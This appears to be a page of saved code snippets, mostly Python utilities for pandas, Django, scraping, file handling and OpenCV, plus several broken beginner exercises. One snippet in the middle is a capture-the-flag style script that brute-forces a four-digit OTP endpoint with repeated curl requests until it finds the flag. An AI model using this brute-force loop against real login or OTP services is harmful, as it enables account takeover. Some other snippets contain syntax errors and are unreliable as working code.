Snippets Collections
def delete_last_line():
    with open('test.txt', "r+", encoding="utf-8") as file:

        # Move the pointer (similar to a cursor in a text editor) to the end of the file
        file.seek(0, os.SEEK_END)

        # This code means the following code skips the very last character in the file -
        # i.e. in the case the last line is null we delete the last line
        # and the penultimate one
        pos = file.tell() - 1

        # Read each character in the file one at a time from the penultimate
        # character going backwards, searching for a newline character
        # If we find a new line, exit the search
        while pos > 0 and file.read(1) != "\n":
            pos -= 1
            file.seek(pos, os.SEEK_SET)

        # save value of last line
        value = file.readline()

        # So long as we're not at the start of the file, delete all the characters ahead
        # of this position
        if pos > 0:
            file.seek(pos, os.SEEK_SET)
            file.truncate()

        return value
import pandas as pd

sheets_dict = pd.read_excel('Book1.xlsx', sheetname=None)

full_table = pd.DataFrame()
for name, sheet in sheets_dict.items():
    sheet['sheet'] = name
    sheet = sheet.rename(columns=lambda x: x.split('\n')[-1])
    full_table = full_table.append(sheet)

full_table.reset_index(inplace=True, drop=True)

print full_table
df = pd.DataFrame(np.random.randint(32, 120, 100000).reshape(50000,2),columns=list('AB'))
df['A'] = df['A'].apply(chr)

%timeit dict(zip(df.A,df.B))
%timeit pd.Series(df.A.values,index=df.B).to_dict()
%timeit df.set_index('A').to_dict()['B']
pip install -Uqq fastbook

import fastbook
fastbook.setup_book()
from fastbook import *
from fastai.vision.widgets import *
from fastai.vision.all import *
path = untar_data(URLs.PASCAL_2007)
from time import gmtime, strftime

 strftime("%Y-%m-%d %H:%M:%S", gmtime())
'2009-01-05 22:14:39'

import os
import glob

# read the ds18b20 sensor 
os.system('modprobe w1-gpio')
os.system('modprobe w1-therm')
 
base_dir = '/sys/bus/w1/devices/'
device_folder = glob.glob(base_dir + '28*')[0]
device_file = device_folder + '/w1_slave'

def read_temp_raw():
    f = open(device_file, 'r')
    lines = f.readlines()
    f.close()
    return lines
 
def read_temp():
    lines = read_temp_raw()
    while lines[0].strip()[-3:] != 'YES':
        time.sleep(0.2)
        lines = read_temp_raw()
    equals_pos = lines[1].find('t=')
    if equals_pos != -1:
        temp_string = lines[1][equals_pos+2:]
        temp_c = float(temp_string) / 1000.0
        temp_f = temp_c * 9.0 / 5.0 + 32.0
        return temp_c, temp_f
 
from gpiozero import CPUTemperature

# get the temperature of the CPU of the Raspberry
def getRaspiCpuTemperature():
    tempFile = open("/sys/class/thermal/thermal_zone0/temp")
    cpu_temp = tempFile.read()
    tempFile.close()
    return (float(cpu_temp) / 1000)

# get the temperature of the CPU of the Raspberry
# with gpiozero
def getRaspiCpuTemperature02():
    gpiozero_cpu = CPUTemperature()
    return (gpiozero_cpu.temperature)
import socket

# get the current IP adress
def get_ip_adress():
   ip_address = '';
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.connect(("8.8.8.8",80))
   ip_address = s.getsockname()[0]
   s.close()
   return (ip_address)           
from bs4 import BeautifulSoup, Tag
import re

data = '''<div>
<a href="link_1">Link 1</a>
<a href="link_2">Link 1</a>
<a href="link_XXX">Link 1</a>
<a href="link_3">Link 1</a>
</div>'''

soup = BeautifulSoup(data, 'lxml')

class my_regex_searcher:
    def __init__(self, regex_string):
        self.__r = re.compile(regex_string)
        self.groups = []

    def __call__(self, what):
        if isinstance(what, Tag):
            what = what.name

        if what:
            g = self.__r.findall(what)
            if g:
                self.groups.append(g)
                return True
        return False

    def __iter__(self):
        yield from self.groups

searcher = my_regex_searcher(r'link_(\d+)')
for l, groups in zip(soup.find_all(href=searcher), searcher):
    print(l)
    print(groups)

searcher = my_regex_searcher(r'(d)(i)(v)')
for l, groups in zip(soup.find_all(searcher), searcher):
    print(l.prettify())
    print(groups)
listOfSeries = []

for df in dfs:
	listOfSeries.append(df[df.columns[0]])

# df.iloc[:, 0]
# df[df.columns[0]]

newDF = pd.concat(listOfSeries, axis=1)
//template

{% for contact in page_obj %}
    {# Each "contact" is a Contact model object. #}
    {{ contact.full_name|upper }}<br>
    ...
{% endfor %}

<div class="pagination">
    <span class="step-links">
        {% if page_obj.has_previous %}
            <a href="?page=1">&laquo; first</a>
            <a href="?page={{ page_obj.previous_page_number }}">previous</a>
        {% endif %}

        <span class="current">
            Page {{ page_obj.number }} of {{ page_obj.paginator.num_pages }}.
        </span>

        {% if page_obj.has_next %}
            <a href="?page={{ page_obj.next_page_number }}">next</a>
            <a href="?page={{ page_obj.paginator.num_pages }}">last &raquo;</a>
        {% endif %}
    </span>
</div>
         

//views.py
         
from django.core.paginator import Paginator
from django.shortcuts import render

from myapp.models import Contact

def listing(request):
    contact_list = Contact.objects.all()
    paginator = Paginator(contact_list, 25) # Show 25 contacts per page.

    page_number = request.GET.get('page')
    page_obj = paginator.get_page(page_number)
    return render(request, 'list.html', {'page_obj': page_obj})       
{% if request.resolver_match.url_name == 'home' %} active {% endif %}
Path(BASE_DIR, 'templates')
admin.site.site_header = 'WISEMAN'
    def __str__(self):
        return self.title
//inside the class on the model

class Meta: 
        verbose_name = "Movie"
        verbose_name_plural = "Movies"
//settings.py

STATICFILES_DIRS = [
    BASE_DIR, "static",
]

//urls.py

from django.conf import settings
from django.conf.urls.static import static

 + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
//settings.py

MEDIA_ROOT = Path(BASE_DIR, 'media/')

//main urls.py

from django.conf import settings
from django.conf.urls.static import static

urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
# me - this DAT
# scriptOp - the OP which is cooking

# press 'Setup Parameters' in the OP to call this function to re-create the parameters.
def onSetupParameters(scriptOp):
	page = scriptOp.appendCustomPage('Parameters')
	p = page.appendInt('Par1', label='ParA')
	p = page.appendFloat('Par2', label='ParB')
	return
		
# called whenever custom pulse parameter is pushed
def onPulse(par):
	return

def onCook(scriptOp):
	scriptOp.clear()
	
	#Declare Variables
	samples = scriptOp.par.Samples

	# Assign Samples to CHOP
	scriptOp.numSamples = samples

	#Calculate Step Size

	# Append output channels
	tx = scriptOp.appendChan('tx')
	ty = scriptOp.appendChan('ty')
	tz = scriptOp.appendChan('tz')

	#Assign Value to channels Implementing the Parametric Equation
	return
import os
def split(word): 
    return [char for char in word] 
f1=open('wordlist.txt','r')
invalid_response=os.popen('curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "digit_1=1&digit_2=2&digit_3=3&digit_4=4" --silent').read()
numbers=f1.read().splitlines()
for i in numbers:
    temp=split(i)
    smallpayload="digit_1="+temp[0]+"&digit_2="+temp[1]+"&digit_3="+temp[2]+"&digit_4="+temp[3]
    payload= 'curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "'+smallpayload+'" --silent '
    print("Testing OTP",temp[0],temp[1],temp[2],temp[3])
    # print(payload)
    response=os.popen(payload).read()
    if(response!=invalid_response):
        print("Correct OTP IS ",temp[0],temp[1],temp[2],temp[3])
        print("Flag Is : ",response)
        exit(0)

def combinations(n, k):
    '''
    Returns the number of ways you can choose k items out of n if order does not matter

    Parameters:
    ----------
    n: (int)
    k: (int)

    Returns:
    ----------
    Returns the number of combinations of k items out of n.
    '''
    import math
    combs = math.factorial(n)/(math.factorial(k)*math.factorial(n-k))
    return combs

def poisson_pmf(lmbda, k) : 
    return (lmbda**k * e**(-lmbda)) / factorial(k) 
print(poisson_pmf(3, 2)) #0.22404180765538778
import json

with open('data.txt') as json_file:
    data = json.load(json_file)
    for p in data['people']:
        print('Name: ' + p['name'])
        print('Website: ' + p['website'])
        print('From: ' + p['from'])
        print('')
import json

data = {}
data['people'] = []
data['people'].append({
    'name': 'Scott',
    'website': 'stackabuse.com',
    'from': 'Nebraska'
})
data['people'].append({
    'name': 'Larry',
    'website': 'google.com',
    'from': 'Michigan'
})

with open('data.txt', 'w') as outfile:
    json.dump(data, outfile)
def get_stats(account_email, account_password):
	print("Getting stats for account %s" % account_email)
	chrome_options = Options() 
	# chrome_options.add_argument("--headless")
	path_to_driver = os.path.join(
		os.path.dirname(os.path.dirname(os.getcwd())), "chromedriver.exe")
	driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)
	# login
	driver.get("https://www.tumblr.com/login")
	driver.set_window_size(1294, 1400)
	driver.find_element(By.ID, "signup_determine_email").send_keys("youremailaddress")
	driver.find_element(By.ID, "signup_determine_email").send_keys(Keys.ENTER)
	time.sleep(1)
	driver.find_element(By.LINK_TEXT, "Use password to log in").click()
	time.sleep(1)
	driver.find_element(By.ID, "signup_password").send_keys("yourpassword")
	driver.find_element(By.ID, "signup_password").send_keys(Keys.ENTER)
import gspread
from oauth2client.service_account import ServiceAccountCredentials
from datetime import date

def upload_stat_data_to_google_sheets(email, posts_in_queue, followers):
	scope = ["https://spreadsheets.google.com/feeds", 'https://www.googleapis.com/auth/spreadsheets',
		"https://www.googleapis.com/auth/drive.file", "https://www.googleapis.com/auth/drive"]

	creds = ServiceAccountCredentials.from_json_keyfile_name(
		os.path.join(os.getcwd(), 'stat_scraper',"google_cloud_credentials.json"), scope)

	client = gspread.authorize(creds)

	sheet = client.open("automation_stats").sheet1
	analytics = client.open("automation_stats").worksheet("analytics")
	data = sheet.get_all_records()
	current_date = date.today().strftime('%d.%m.%y')
	row_to_insert = [[current_date, email, posts_in_queue, followers]]	
	sheet.append_rows(row_to_insert)
logging.basicConfig(
  level="INFO",
  format="%(asctime)s   (%(filename)s:%(lineno)s) %(levelname)s - %(message)s",
  datefmt="%Y-%m-%d - %H:%M:%S"
)
time = "01:34:11"
sum(x * int(t) for x, t in zip([3600, 60, 1], time.split(":"))) 
return sorted(list_of_dicts, key=lambda e: e['dict_key'], reverse=True)
In [2]: read_csv('sample.csv', dtype={'ID': object})
Out[2]: 
                           ID
0  00013007854817840016671868
1  00013007854817840016749251
2  00013007854817840016754630
3  00013007854817840016781876
4  00013007854817840017028824
5  00013007854817840017963235
6  00013007854817840018860166
1
2
3
4
5
6
a = [[1, 2, 3, 4], [5, 6], [7, 8, 9]]
for i in range(len(a)):
    for j in range(len(a[i])):
        print(a[i][j], end=' ')
    print()
pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U
# open a json file for reading and print content using json.load
with open("/xyz/json_data.json", "r") as content:
  print(json.load(content))

# If we want to use json.loads():

with open("json_data.json", "r") as content:
  print(json.loads(content.read()))
def factorial(n):
  if n == 0:
    return 1
  else:
    return n * factorial(n - 1)
print(factorial(5))
#This is a code comment and anything we put after the # will not run
#print(5) should return 5 but because it is in a comment it wont show up
# Python program to illustrate 
# not 'in' operator 
x = 24
y = 20
list = [10, 20, 30, 40, 50 ]; 

if ( x not in list ): 
	print("x is NOT present in given list") 
else: 
	print("x is present in given list") 

if ( y in list ): 
	print("y is present in given list") 
else: 
	print("y is NOT present in given list") 

# Python program to illustrate 
# Finding common member in list  
# using 'in' operator 
list1=[1,2,3,4,5] 
list2=[6,7,8,9] 
for item in list1: 
    if item in list2: 
        print("overlapping")       
else: 
    print("not overlapping") 
>>> [a+b for a,b in re.findall('id_([a-z]+)|num([0-9]+)', s)]
['john', '847']
import glob
import os

list_of_files = glob.glob('/path/to/folder/*') # * means all if need specific format then *.csv
latest_file = max(list_of_files, key=os.path.getctime)
print latest_file
(df.groupby('name')['ext price']
 .agg(['mean', 'sum'])
 .style.format('${0:,.2f}'))
'${:,.2f}'.format(dfCombined['Amount'].sum())
In [8]: from bs4 import BeautifulSoup

In [9]: from selenium import webdriver

In [10]: driver = webdriver.Firefox()

In [11]: driver.get('http://news.ycombinator.com')

In [12]: html = driver.page_source

In [13]: soup = BeautifulSoup(html)

In [14]: for tag in soup.find_all('title'):
   ....:     print tag.text
   ....:     
   ....:     
Hacker News
import bs4

html = """<div class="someClass">
    <a href="href">
        <img alt="some" src="some"/>
    </a>
</div>"""

soup = bs4.BeautifulSoup(html, "html.parser")

# this will return src attrib from img tag that is inside 'a' tag
soup.a.img['src']

>>> 'some'

# if you have more then one 'a' tag
for a in soup.find_all('a'):
    if a.img:
        print(a.img['src'])

>>> 'some'
my_dict = {"color": "red", "width": 17, "height": 19}
value_to_find = "red"

# Brute force solution (fastest) -- single key
for key, value in my_dict.items():
    if value == value_to_find:
        print(f'{key}: {value}')
        break

# Brute force solution -- multiple keys
for key, value in my_dict.items():
    if value == value_to_find:
        print(f'{key}: {value}')

# Generator expression -- single key
key = next(key for key, value in my_dict.items() if value == value_to_find)
print(f'{key}: {value_to_find}')

# Generator expression -- multiple keys
exp = (key for key, value in my_dict.items() if value == value_to_find)
for key in exp:
    print(f'{key}: {value}')

# Inverse dictionary solution -- single key
my_inverted_dict = {value: key for key, value in my_dict.items()}
print(f'{my_inverted_dict[value_to_find]}: {value_to_find}')

# Inverse dictionary solution (slowest) -- multiple keys
my_inverted_dict = dict()
for key, value in my_dict.items():
    my_inverted_dict.setdefault(value, list()).append(key)
print(f'{my_inverted_dict[value_to_find]}: {value_to_find}')
my_dict = {
  'Izuku Midoriya': 'One for All', 
  'Katsuki Bakugo': 'Explosion', 
  'All Might': 'One for All', 
  'Ochaco Uraraka': 'Zero Gravity'
}

# Use to invert dictionaries that have unique values
my_inverted_dict = dict(map(reversed, my_dict.items()))

# Use to invert dictionaries that have unique values
my_inverted_dict = {value: key for key, value in my_dict.items()}

# Use to invert dictionaries that have non-unique values
from collections import defaultdict
my_inverted_dict = defaultdict(list)
{my_inverted_dict[v].append(k) for k, v in my_dict.items()}

# Use to invert dictionaries that have non-unique values
my_inverted_dict = dict()
for key, value in my_dict.items():
    my_inverted_dict.setdefault(value, list()).append(key)

# Use to invert dictionaries that have lists of values
my_dict = {value: key for key in my_inverted_dict for value in my_inverted_dict[key]}
yusuke_power = {"Yusuke Urameshi": "Spirit Gun"}
hiei_power = {"Hiei": "Jagan Eye"}
powers = dict()

# Brute force
for dictionary in (yusuke_power, hiei_power):
    for key, value in dictionary.items():
        powers[key] = value

# Dictionary Comprehension
powers = {key: value for d in (yusuke_power, hiei_power) for key, value in d.items()}

# Copy and update
powers = yusuke_power.copy()
powers.update(hiei_power)

# Dictionary unpacking (Python 3.5+)
powers = {**yusuke_power, **hiei_power}

# Backwards compatible function for any number of dicts
def merge_dicts(*dicts: dict):
    merged_dict = dict()
    for dictionary in dicts:
        merge_dict.update(dictionary)
    return merged_dict

# Dictionary union operator (Python 3.9+ maybe?)
powers = yusuke_power | hiei_power
virtualenv env

# linux
source env/bin/activate

#windows
env\Scripts\activate.bat

deactivate
from flask import Flask,render_template,request, redirect
 
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 'dajdsjas'
 
 
@app.route('/home')
def home():
    return 'Home page'
 
 
 
@app.route('/take_parameter', methods = ["POST"])
def takeparam():
    try:
        pas = request.args(silent=True)
        #app.logger.info(json)
        return 'OK'
    except:
        return 'INTERNAL ERROR', 500
    
 
@app.route('/take_json', methods = ["POST"])
def takejson():
    try:
        pas = request.get_json(silent=True)
        #app.logger.info(json)
        return 'OK'
    except:
        return 'INTERNAL ERROR', 500
    
if __name__ =='__main__':
    app.run(debug=True)
 
# Works with matplotlib and seaborn

%config InlineBackend.figure_format ='retina'
from IPython.core.interactiveshell import InteractiveShell
InteractiveShell.ast_node_interactivity = "all"
from itertools import zip_longest
l1=[1,2,3,4,5,6,7]
l2=['a','b','c','d']
d1=zip_longest(l1,l2,fillvalue='x')
print (d1)#Output:<itertools.zip_longest object at 0x00993C08>
#Converting zip object to dict using dict() contructor.
print (dict(d1))
#Output:{1: 'a', 2: 'b', 3: 'c', 4: 'd', 5: 'x', 6: 'x', 7: 'x'}
from time import strptime
month_name = 'Jan'
month_number = strptime(month_name, '%b').tm_mon
month_number

'''
%a  Locale’s abbreviated weekday name.    
%A  Locale’s full weekday name.    
%b  Locale’s abbreviated month name.  
%B  Locale’s full month name.      
%c  Locale’s appropriate date and time representation.    
%d  Day of the month as a decimal number [01,31].    
%f  Microsecond as a decimal number [0,999999], zero-padded on the left     (1)
%H  Hour (24-hour clock) as a decimal number [00,23].    
%I  Hour (12-hour clock) as a decimal number [01,12].    
%j  Day of the year as a decimal number [001,366].  
%m  Month as a decimal number [01,12].  
%M  Minute as a decimal number [00,59].      
%p  Locale’s equivalent of either AM or PM.   (2)
%S  Second as a decimal number [00,61].     (3)
%U  Week number of the year (Sunday as the first day of the week) as a decimal number [00,53]. All days in a new year preceding the first Sunday are considered to be in week 0.    (4)
%w  Weekday as a decimal number [0(Sunday),6].  
%W  Week number of the year (Monday as the first day of the week) as a decimal number [00,53]. All days in a new year preceding the first Monday are considered to be in week 0.    (4)
%x  Locale’s appropriate date representation.      
%X  Locale’s appropriate time representation.      
%y  Year without century as a decimal number [00,99].    
%Y  Year with century as a decimal number.  
%z  UTC offset in the form +HHMM or -HHMM (empty string if the the object is naive).    (5)
%Z  Time zone name (empty string if the object is naive).    
%%  A literal '%' character.
'''
>>> mydict = {'one': [1,2,3], 2: [4,5,6,7], 3: 8}

>>> dict_df = pd.DataFrame({ key:pd.Series(value) for key, value in mydict.items() })

>>> dict_df

   one  2    3
0  1.0  4  8.0
1  2.0  5  NaN
2  3.0  6  NaN
3  NaN  7  NaN
import re 
s = "string. With. Punctuation?" 
s = re.sub(r'[^\w\s]','',s) 
import os  
path="abc.txt"  
if os.path.isdir(path):  
    print("\nIt is a directory")  
elif os.path.isfile(path):  
    print("\nIt is a normal file")  
else:  
    print("It is a special file (socket, FIFO, device file)" )
print()


df['column_name'] = pd.to_datetime(df['column_name'])
# new version
df.groupby(pd.Grouper(key='column_name', freq="M")).mean().plot()
start_time = time.clock()
result = 0
for row in df.itertuples(index=False):
    result += max(row[df.columns.get_loc('B')], row[df.columns.get_loc('C')])

total_elapsed_time = round(time.clock() - start_time, 2)
print("4. Polyvalent Itertuples working even with special characters in the column name done in {} seconds, result = {}".format(total_elapsed_time, result))
import pkg_resources, string
from symspellpy import SymSpell, Verbosity

spell = SymSpell(max_dictionary_edit_distance=2, prefix_length=7)
dictionary_path = pkg_resources.resource_filename('symspellpy', 'frequency_dictionary_en_82_765.txt')
spell.load_dictionary(dictionary_path, term_index=0, count_index=1)

def correct(w):
  word = w
  o = spell.lookup(w,
    Verbosity.CLOSEST,
    max_edit_distance=2,
    transfer_casing=True)
  if not o: return w
  word = o[0].term
  if w[0].isupper():
    word = word[0].upper() + ''.join(word[1:])
  # find start punctuation
  start_idx = 0
  start_punct = ''
  while w[start_idx] in string.punctuation:
    start_punct += w[start_idx]
    if start_idx + 1 < len(w):
      start_idx += 1
    else:
      break
  # find end punctuation
  end_idx = 1
  end_punct = ''
  while w[-end_idx] in string.punctuation:
    end_punct += w[-end_idx]
    if end_idx - 1 > 0:
      end_idx -= 1
    else:
      break
  return start_punct + word + end_punct

s = '''Now that we have carried our geographical analogy quite far, we return to the uestion of isomorphisms between brains. You might well wonder why this whole uestion of brain isomorphisms has been stressed so much. What does it matter if two rains are isomorphic, or quasi-isomorphic, or not isomorphic at all? The answer is that e have an intuitive sense that, although other people differ from us in important ways, hey are still "the same" as we are in some deep and important ways. It would be nstructive to be able to pinpoint what this invariant core of human intelligence is, and hen to be able to describe the kinds of "embellishments" which can be added to it, aking each one of us a unique embodiment of this abstract and mysterious quality alled "intelligence".'''
cleaned = ' '.join([correct(w) for w in s.split()])
print(cleaned)
phrase = input("Choose your phrase:")
def translate(phrase):
    for letter in phrase:
        if letter in "C":
            letter = phrase.replace("C","b")
        if letter in "c":
            letter = phrase.replace("c","b")
        else:
            letter = phrase
        return letter
print(translate(phrase))
def getFactorialit (n):
	if n < 0, return -1
    else fact = 1
    for i in range (1, n +1):
    	fact *=i
    return fact
    
print getFactorialit(10)
    
desired_tab = driver.current_window_handle  #storing the handle in a variable
if driver.current_window_handle != desired_tab:
   driver.switch_to_window(desired_tab)  #switching to the tab in case it's not
my_classifiers = {'logit': '<trained_logit_here>',
                  'KNN' : '<trained_KNN_here>'
                  }
pickle._dump(my_classifiers, open(filename, 'wb'))

loaded_classifiers = pickle.load(open(filename, 'rb'))
logit_model = loaded_classifiers['logit']
knn_model = loaded_classifiers['KNN']

results = logit_model.predict(X)
x = tf.placeholder(tf.int16, shape=(), name='ha')
y = tf.placeholder(tf.int16, shape=(), name='ho')

add = tf.add(x, y)
mul = tf.multiply(x, y)
# creates a list of numbers

numbers = ['1','2','3','4','5','6','7','8','9','0'] 

# a function that removes the string characters such as "$" or "," by using the list created above

def convertToInt(column):
    return int(''.join(filter(lambda x: x in numbers, column)))
import datetime
import dateutil.relativedelta

d = datetime.datetime.strptime("2013-03-31", "%Y-%m-%d")
d2 = d - dateutil.relativedelta.relativedelta(months=1)
print d2
from pyspark.sql import SparkSession
spark = SparkSession.builder.appName('abc').getOrCreate()
import datetime

def last_day_of_month(any_day):
    next_month = any_day.replace(day=28) + datetime.timedelta(days=4)  # this will never fail
    return next_month - datetime.timedelta(days=next_month.day)
from datetime import datetime, timedelta

d = datetime.today() - timedelta(days=days_to_subtract)
>>> from enum import Enum
>>> class Build(Enum):
...   debug = 200
...   build = 400
... 

Build['debug']

df.set_index(KEY).to_dict()[VALUE]

3 ways:
dict(zip(df.A,df.B))
pd.Series(df.A.values,index=df.B).to_dict()
df.set_index('A').to_dict()['B']
def isfloat(value):
  try:
    float(value)
    return True
  except ValueError:
    return False
f = open('test.json')
json_file = json.load(f)
import pandas as pd

data_dict = {'one': pd.Series([1, 2, 3], index=['a', 'b', 'c']),
             'two': pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])}

df = pd.DataFrame(data_dict)

print(f"DataFrame:\n{df}\n")
print(f"column types:\n{df.dtypes}")

col_one_list = df['one'].tolist()

col_one_arr = df['one'].to_numpy()

print(f"\ncol_one_list:\n{col_one_list}\ntype:{type(col_one_list)}")
print(f"\ncol_one_arr:\n{col_one_arr}\ntype:{type(col_one_arr)}")
df = pd.DataFrame([
    [-0.532681, 'foo', 0],
    [1.490752, 'bar', 1],
    [-1.387326, 'foo', 2],
    [0.814772, 'baz', ' '],     
    [-0.222552, '   ', 4],
    [-1.176781,  'qux', '  '],         
], columns='A B C'.split(), index=pd.date_range('2000-01-01','2000-01-06'))

# replace field that's entirely space (or empty) with NaN
print(df.replace(r'^\s*$', np.nan, regex=True))
df = pd.DataFrame([
    [-0.532681, 'foo', 0],
    [1.490752, 'bar', 1],
    [-1.387326, 'foo', 2],
    [0.814772, 'baz', ' '],     
    [-0.222552, '   ', 4],
    [-1.176781,  'qux', '  '],         
], columns='A B C'.split(), index=pd.date_range('2000-01-01','2000-01-06'))

# replace field that's entirely space (or empty) with NaN
print(df.replace(r'^\s*$', np.nan, regex=True))
nov_mask = df['Dates'].map(lambda x: x.month) == 11
df[nov_mask]

nov_mar_series = pd.Series(pd.date_range("2013-11-15", "2014-03-15"))
#create timestamp without year
nov_mar_no_year = nov_mar_series.map(lambda x: x.strftime("%m-%d"))
#add a yearless timestamp to the dataframe
df["no_year"] = df['Date'].map(lambda x: x.strftime("%m-%d"))
no_year_mask = df['no_year'].isin(nov_mar_no_year)
df[no_year_mask]
from redis.sentinel import Sentinel
sentinel = Sentinel([
    ('192.168.77.130',26379),
    ('192.168.77.130',26380),
    ('192.168.77.130',26381),
],sentinel_kwargs={'password': '123456'}) 

sentinel.discover_master('lerep')
 # single column:
 if `A` in df and `B` in df:
 
 
 # multiple columns:
 pd.Series(['A', 'B']).isin(df.columns).all()
import re
if re.match(r"hello[0-9]+", 'hello1'):
    print('Yes')
import pandas as pd
from datetime import datetime

ps = pd.Series([datetime(2014, 1, 7), datetime(2014, 3, 13), datetime(2014, 6, 12)])
new = ps.apply(lambda dt: dt.replace(day=1))
all_data['Order Day new'] = all_data['Order Day new'].dt.strftime('%Y-%m-%d')
def ffill_cols(df, cols_to_fill_name='Unn'):
    """
    Forward fills column names. Propagate last valid column name forward to next invalid column. Works similarly to pandas
    ffill().
    
    :param df: pandas Dataframe; Dataframe
    :param cols_to_fill_name: str; The name of the columns you would like forward filled. Default is 'Unn' as
    the default name pandas gives unnamed columns is 'Unnamed'
    
    :returns: list; List of new column names
    """
    cols = df.columns.to_list()
    for i, j in enumerate(cols):
        if j.startswith(cols_to_fill_name):
            cols[i] = cols[i-1]
    return cols
>>> from operator import add
>>> list( map(add, list1, list2) )
[5, 7, 9]
class Parent(object):
      def implicit(self):
          print("PARENT implicit()")

class Child(Parent):
      pass
    dad = Parent()
    son = Child()
    
    dad.implicit()
    son.implicit()
x=[]
y=[]
for key, value in genres.items():
    x.append(key)
    y.append(value)
for key in sorted(my_dict, key=my_dict.get):

    print('{} : {}'.format(key, my_dict[key]))
from csv import reader
fp = open('file_name.csv', encoding='utf-8')
data = list(reader(fp))
fp.close()
>>> matches = re.findall(f'(?:{p})+', s)
>>> matches
['HELLO', 'HELLO', 'HELLOHELLOHELLO', 'HELLOHELLO']

>> max(map(len, matches)) // len(p)
3
from setuptools import setup, find_packages

setup(
  name="package-name",
  version="0.0.0",
  packages=find_packages(),
  entry_points = {
    'console_scripts':
      ["command = package_name.module_name:function_name"],
    },
)
and
or
not
!=(not equal)
==(equal)
>=(greater-than-equal)
<=(less-than-equal)
True
False
>>> format(integer, '0>42b')
'001010101111000001001000111110111111111111'
def mlm_loss(y_true, y_pred):
loss=float(0)
a = tf.keras.backend.constant(1, dtype='float32')
for s in range(batch_size): # for each sample in batch
    for i in range(L):
        for j in range(L):
            loss=loss + y_true[s][i]*(a-y_true[s][j])*(a-(y_pred[s][i]-y_pred[s][j])) #two conditions
l= tf.keras.backend.constant(L, dtype='float32')            
loss=a/l*loss           
return loss
def add(a, b):
    print(f"ADDING {a} + {b}")
    return a + b
  
def subtract(a, b):
    print(f"SUBTRACTING {a} - {b}")
    return a - b
# this is like your scripts with argv
def print_two(args):
    arg1, arg2 = args
    print(f"arg1:{arg1}, arg2: {arg2}")
 
# this just takes one argument
def print_one(arg1):
    print(f"arg1:{arg1}")
    
# this one takes no argument
def print_none():
     print?("I got nothin',")
from sys import argv
script, first, second = argv

print("The script is called:", script)
print("The first variable is:", first)
print("The second variable is:", second)
from sys import argv

script, filenames = argv

txt = open(filename)

print(f"Here's your life {filename}:")
print(txt.read())

print("Type the filename again:")
file_open = input(">")

txt_again = open(file_again)
print(txt_again.read())
print("How old are you?", end=' ')
age = input()
print("How tall are you?", end= ' ')
height = input()
print("How much do you weight?", end= ' ')
weight = input()

print(f"So, you're {age} old, {height} tall and {weight} heavy.")
from sys import argv
script, first, second

print("The script is called:", script)
print("your first variable is:", first)
print("your second variable is:, second)
formatter = "{} {} {} {}"

print(formatter.format(1, 2, 3, 4,))
print(formatter.format(one, two, three, four))
print(formatter.format(true, false, false, true))
end1 = "B"
end2 = "u"
end3 = "r"
end4 = "g"
end5 = "e"
end6 = "r"

print(end1 + end2 + end3 + end4 + end5)
A) Detect faces in Image file (using Python & OpenCV)



face_detect.py :
=================

import cv2

face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')

img = cv2.imread('face.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)


faces = face_cascade.detectMultiScale(
    gray,
    scaleFactor=1.1,
    minNeighbors=5,
    minSize=(30, 30),
    flags = cv2.CASCADE_SCALE_IMAGE
)

print("Faces shape : ", faces.shape)

for (x,y,w,h) in faces:
    cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)

print("Face count : ", faces.shape[0])

cv2.imshow('img',img)
cv2.waitKey(0)
cv2.destroyAllWindows()


=====================================================================

B) Detect faces using Camera (using Python & OpenCV).


face_detect_cam.py :
====================
import cv2

face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')

cap = cv2.VideoCapture(0)

while True:
	ret, img = cap.read();
	
	if not ret:
		break
		
	gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

	faces = face_cascade.detectMultiScale(
		gray,
		scaleFactor=1.1,
		minNeighbors=5,
		minSize=(30, 30),
		flags = cv2.CASCADE_SCALE_IMAGE
	)

	for (x,y,w,h) in faces:
		cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
	
	cv2.imshow('Face', img)
	
	key = cv2.waitKey(1)
	if key==27 or key==ord('q'):
		break;

cap.release()
cv2.destroyAllWindows()


types_of_people = 10
x = f"there are {types_of_people} types of people."

binary = "binary"
do_not = don't
y = f"those who know {binary} and those who {do_not}."
cars = 80
drivers = 40
passengers = 70

Print(cars)
# print this line
print("Hello world again")
In [1]: data = [
   ...:     {'id': '10', 'animal' : 'cat'},
   ...:     {'id': '11', 'animal' : 'dog'},
   ...:     {'id': '3', 'animal' : 'pigeon'},
   ...:     {'id': '10', 'color' : 'yellow'},
   ...:     {'id': '11', 'color' : 'brown'},
   ...:     {'id': '3', 'color' : 'grey'},
   ...:     {'id': '10', 'type' : 'furry'},
   ...:     {'id': '11', 'type' : 'fluffy'},
   ...:     {'id': '3', 'type' : 'dirty'},
   ...: ]

In [2]: from collections import defaultdict
   ...: ids = defaultdict(dict)
   ...: for d in data:
   ...:     ids[d["id"]].update(d)
   ...:


In [6]: list(ids.values())
Out[6]:
[{'id': '10', 'animal': 'cat', 'color': 'yellow', 'type': 'furry'},
 {'id': '11', 'animal': 'dog', 'color': 'brown', 'type': 'fluffy'},
 {'id': '3', 'animal': 'pigeon', 'color': 'grey', 'type': 'dirty'}]
d = dict.fromkeys(df.select_dtypes(object).columns, 0)
df = df.assign(**d)
class MyModel(models.Model):
        field1 = models.CharField(max_length=40, blank=False, null=False)
        field2 = models.CharField(max_length=60, blank=True, null=True)
# Open a file: file
file = open('my_text_file',mode='r')
 
# read all lines at once
all_of_it = file.read()
 
# close the file
file.close()
import ast
l = ast.literal_eval('[ "A","B","C" , " D"]')
l = [i.strip() for i in l]
from datetime import datetime, timedelta

